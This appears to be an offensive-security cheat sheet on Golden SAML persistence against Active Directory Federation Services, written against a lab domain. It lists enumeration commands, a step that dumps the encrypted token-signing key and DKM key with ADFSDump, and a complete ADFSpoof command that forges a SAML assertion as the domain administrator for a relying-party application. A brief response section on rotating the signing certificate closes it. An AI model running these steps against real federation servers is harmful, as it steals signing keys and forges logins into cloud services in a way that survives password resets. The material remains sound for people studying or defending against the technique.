Golden SAML

Golden SAML persistence abuses the federation trust instead of Kerberos. If we compromise the ADFS token-signing certificate and private key, we can forge SAML assertions for users accepted by relying parties such as cloud applications.

Local ADFS enumeration

Get-Service adfssrv
Get-WindowsFeature *adfs*
Get-Service | Where-Object {$_.DisplayName -like "*Federation*"}
Get-Service | Where-Object {$_.Name -like "*adfs*"}

ADFS properties

Import-Module ADFS
Get-AdfsProperties
Get-AdfsCertificate
Get-AdfsRelyingPartyTrust

Remote federation metadata

curl -i http://adfs.ootw.local/adfs/ls/
curl -i http://adfs.ootw.local/FederationMetadata/2007-06/FederationMetadata.xml

Dump ADFS material

ADFSDump.exe

Forge SAML with ADFSpoof

python3 ADFSpoof.py -b EncryptedPfx.bin DKMKey.bin \
  -s https://adfs.ootw.local/adfs/services/trust \
  -a https://target-app.example.com/ \
  -u administrator@ootw.local \
  -o saml.xml

Use the forged assertion against the relying party that trusts the ADFS issuer.

Issuer: ADFS service identifier
Audience: relying party identifier
NameID or UPN: target user
Signing key: ADFS token-signing private key

Response

Import-Module ADFS
Get-AdfsCertificate
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
Get-AdfsRelyingPartyTrust

Notes

• Golden SAML survives user password resets because the relying party trusts the federation signature.
• The critical secret is the token-signing private key.
• Response requires rotating ADFS token-signing material and coordinating relying party trust updates.